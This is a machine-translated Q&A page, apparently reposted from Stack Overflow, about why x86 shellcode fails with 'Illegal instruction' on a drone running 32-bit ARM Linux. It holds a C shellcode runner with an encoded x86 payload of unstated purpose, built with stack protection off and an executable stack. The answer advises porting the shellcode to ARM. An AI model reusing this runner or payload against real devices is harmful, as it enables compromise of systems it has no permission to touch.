[英]cross compiling shellcode to arm
我正在一个项目中,我需要在运行32位ARM处理器的Linux的无人机上执行一些Shellcode。 我可以使用标准busybox shell通过telnet与无人机进行通信,因此我无法执行许多复杂的命令,因此无需在无人机本身上进行编译。 我可以传输和执行用“ arm-linux-gnueabi-gcc”交叉编译的helloworld程序。 现在是问题所在:当我尝试使用x86 shellcode c程序做完全相同的事情时,在无人机上运行它后,我得到了错误的Illegal instruction
。
我的c程序如下所示:
#include <string.h>
#include <stdio.h>
unsigned char code[] =
"\xbe\xc6\xfe\xae\xa9\xd9\xea\xd9\x74\x24\xf4\x5b\x31\xc9\xb1"
"\x1f\x83\xc3\x04\x31\x73\x11\x03\x73\x11\xe2\x33\x94\xa4\xf7"
"\x8a\xb2\x4e\xe4\xbf\x07\xe2\x81\x3d\x38\x62\xdf\xa0\xf5\xeb"
"\x48\x79\x6e\x2c\xde\xbd\x5d\xc4\x1d\x3d\xb3\x48\xab\xdc\xd9"
"\x16\xf3\x4e\x4f\x80\x8a\x8f\x2c\xe3\x0d\xca\x73\x82\x14\x9a"
"\x07\x48\x4f\x80\xe8\xb2\x8f\x9c\x82\xb2\xe5\x19\xda\x50\xc8"
"\xe8\x11\x16\xae\x2a\xd0\xaa\x5a\x8d\x91\xd2\x25\xd1\xc5\xdc"
"\x55\x58\x06\x1d\xbe\x56\x08\x7d\x4d\xd6\xf7\x4f\xce\x93\xc8"
"\x28\xdf\xc0\x41\x29\x46\x40\x5d\x1a\x7a\x61\xde\xdf\xbd\x01"
"\xdd\x20\xdc\x49\xe0\xde\x1f\xa9\x58\xdf\x1f\xa9\x9e\x2d\x9f";
int main(int argc, char **argv) {
int foo_value = 0;
int (*foo)() = (int(*)())code;
foo_value = foo();
printf("%d\n", foo_value);
}
我已经使用以下命令编译了此代码: arm-linux-gnueabi-gcc -fno-stack-protector -z execstack cprogram.c -o output.elf
。 然后“文件”命令输出:
output.elf: ELF 32-bit LSB pie executable ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.3, for GNU/Linux 3.2.0, BuildID[sha1]=43757152cbcf40dcc6a75cf210c156332557b575, not stripped
在我看来这很正常。 当编译为32位可执行文件时,此完全相同的代码可以在我的64位linux计算机上正常运行。 我已经从shellcode中删除了x00指令,我不确定是否还有更多需要删除的坏字符。 所以我的问题是:是什么导致此错误,又是一种能够在ARM处理器上正确执行此代码的方式。 谢谢!
unsigned char code[] =
"\\xbe\\xc6\\xfe\\xae\\xa9\\xd9\\xea\\xd9\\x74\\x24\\xf4\\x5b\\x31\\xc9\\xb1"
该代码是x86机器指令。
当然,他们也不会在ARM处理器上运行, 还有什么办法?
您必须找到该外壳代码的源(通常是一个很小的.asm
文件),将该.asm
从x86转换为ARM程序集,并将其编译为ARM .o
文件,最后使用objdump -d
获取与ARM等效的机器代码。 。
现在,将该机器代码放入code
数组中,重建ARM可执行文件,然后享用。
PS您可能会找到等效的ARM Shell代码,从而节省了一些上述步骤。
声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.